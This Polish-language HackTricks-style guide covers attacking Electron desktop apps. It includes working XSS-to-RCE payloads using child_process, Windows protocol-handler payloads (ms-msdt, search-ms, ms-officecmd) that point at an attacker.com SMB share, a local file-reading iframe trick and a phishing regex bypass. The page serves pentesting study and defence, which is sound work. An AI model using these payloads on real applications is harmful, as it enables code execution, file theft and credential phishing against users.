Electron Desktop Apps

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Wstęp

Electron łączy lokalny backend (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.

Zwykle kod aplikacji Electron znajduje się w aplikacji .asar, aby uzyskać kod, musisz go wyodrębnić:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

W źródłowym kodzie aplikacji Electron, wewnątrz packet.json, można znaleźć określony plik main.js, w którym ustawione są konfiguracje zabezpieczeń.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ma 2 typy procesów:

  • Proces główny (ma pełny dostęp do NodeJS)

  • Proces renderera (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)

Proces renderera będzie oknem przeglądarki wczytującym plik:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Ustawienia procesu renderera można skonfigurować w głównym procesie w pliku main.js. Niektóre z konfiguracji będą zapobiegać uzyskaniu RCE przez aplikację Electron lub innym podatnościom, jeśli ustawienia są poprawnie skonfigurowane.

Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą interfejsów Node, chociaż można to skonfigurować, aby temu zapobiec:

  • nodeIntegration - domyślnie jest wyłączone. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.

  • contextIsolation - domyślnie jest włączone. Jeśli jest wyłączone, procesy główny i renderera nie są izolowane.

  • preload - domyślnie jest puste.

  • sandbox - domyślnie jest wyłączone. Ograniczy działania, które może wykonać NodeJS.

  • Integracja Node w Workerach

  • nodeIntegrationInSubframes - domyślnie jest wyłączone.

  • Jeśli nodeIntegration jest włączone, umożliwiłoby to korzystanie z API Node.js na stronach internetowych, które są ładowane w ramkach w aplikacji Electron.

  • Jeśli nodeIntegration jest wyłączone, to pliki preload będą ładowane w ramce.

Przykład konfiguracji:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Kilka ładunków RCE z tutaj:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Przechwytywanie ruchu

Zmodyfikuj konfigurację start-main i dodaj użycie serwera proxy, na przykład:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Wstrzykiwanie lokalnego kodu w Electron

Jeśli możesz lokalnie wykonać aplikację Electron, istnieje możliwość wykonania arbitralnego kodu JavaScript. Sprawdź jak to zrobić:

pagemacOS Electron Applications Injection

RCE: XSS + nodeIntegration

Jeśli nodeIntegration jest ustawione na on, JavaScript strony internetowej może łatwo korzystać z funkcji Node.js, wywołując require(). Na przykład, sposób na uruchomienie kalkulatora w systemie Windows to:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Skrypt wskazany w tej konfiguracji jest załadowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do interfejsów API Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Dlatego skrypt może eksportować funkcje węzła do stron:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Jeśli contextIsolation jest włączone, to nie zadziała

RCE: XSS + contextIsolation

contextIsolation wprowadza oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electrona, dzięki czemu wykonanie JavaScript każdego kodu nie wpływa na siebie nawzajem. Jest to konieczna funkcja eliminująca możliwość RCE.

Jeśli konteksty nie są izolowane, atakujący może:

  1. Wykonać dowolny JavaScript w rendererze (XSS lub nawigacja do zewnętrznych stron)

  2. Nadpisać wbudowaną metodę, która jest używana w kodzie preload lub wewnętrznym kodzie Electrona na własną funkcję

  3. Wywołać użycie nadpisanej funkcji

  4. RCE?

Istnieją 2 miejsca, w których można nadpisać wbudowane metody: W kodzie preload lub wewnętrznym kodzie Electrona:

pageElectron contextIsolation RCE via preload codepageElectron contextIsolation RCE via Electron internal codepageElectron contextIsolation RCE via IPC

Ominięcie zdarzenia kliknięcia

Jeśli są nałożone ograniczenia podczas kliknięcia linku, możesz je ominięć, klikając środkowym przyciskiem myszy zamiast zwykłego lewego przycisku.

window.addEventListener('click', (e) => {

RCE poprzez shell.openExternal

Aby uzyskać więcej informacji na temat tych przykładów, sprawdź https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 oraz https://benjamin-altpeter.de/shell-openexternal-dangers/

Podczas wdrażania aplikacji desktopowej Electron, zapewnienie poprawnych ustawień dla nodeIntegration i contextIsolation jest kluczowe. Ustalono, że zdalne wykonanie kodu (RCE) po stronie klienta ukierunkowane na skrypty preload lub kod natywny Electrona z procesu głównego jest skutecznie zapobiegane przy zachowaniu tych ustawień.

Po interakcji użytkownika z linkami lub otwarciu nowych okien, wyzwalane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Te słuchacze są nadpisane przez aplikację desktopową, aby zaimplementować własną logikę biznesową. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana za pomocą funkcji openInternally. Jeśli ta funkcja zwraca false, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję shell.openExternal.

Oto uproszczony pseudokod:

Najlepsze praktyki związane z bezpieczeństwem w Electron JS zalecają unikanie akceptowania niezaufanej zawartości za pomocą funkcji openExternal, ponieważ może to prowadzić do RCE poprzez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia na ten temat, można odwołać się do tego zasobu, który zawiera przykłady protokołów systemu Windows zdolnych do wykorzystania tej podatności.

Przykłady wykorzystania protokołów systemu Windows obejmują:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Odczytywanie plików wewnętrznych: XSS + contextIsolation

Wyłączenie contextIsolation umożliwia użycie tagów <webview>, podobnie jak <iframe>, do odczytywania i eksfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:

Ponadto udostępniona jest inna metoda odczytywania pliku wewnętrznego, podkreślająca krytyczną podatność na odczytanie lokalnego pliku w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Stare Chromium

Jeśli chromium używany przez aplikację jest stary i istnieją na nim znane podatności, może być możliwe wykorzystanie go i uzyskanie RCE poprzez XSS. Przykład można zobaczyć w tym opisie: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing poprzez bypassowanie wewnętrznego URL regex

Załóżmy, że znalazłeś XSS, ale nie możesz wywołać RCE ani ukraść wewnętrznych plików, możesz spróbować go użyć do ukradzenia poświadczeń poprzez phishing.

Po pierwsze, musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w interfejsie front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Wywołanie openInternally zadecyduje, czy link zostanie otwarty w oknie pulpitu, jako że jest to link należący do platformy, czy czy zostanie otwarty w przeglądarce jako zewnętrzny zasób.

W przypadku gdy wyrażenie regularne używane przez funkcję jest podatne na obchodzenie zabezpieczeń (na przykład przez nieeksportowanie kropek poddomen) atakujący mógłby wykorzystać XSS do otwarcia nowego okna, które znajdowałoby się w infrastrukturze atakującego i prosiłoby o poświadczenia od użytkownika:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Narzędzia

  • Electronegativity to narzędzie służące do identyfikowania błędnych konfiguracji i antywzorców bezpieczeństwa w aplikacjach opartych na Electron.

  • Electrolint to otwarte rozszerzenie dla VS Code do aplikacji Electron, które wykorzystuje Electronegativity.

  • nodejsscan do sprawdzania podatności na błędy w bibliotekach innych firm.

  • Electro.ng: Musisz go kupić

Laboratoria

Na stronie https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s znajdziesz laboratorium do wykorzystania podatnych aplikacji Electron.

Niektóre polecenia, które pomogą Ci w laboratorium:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referencje

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated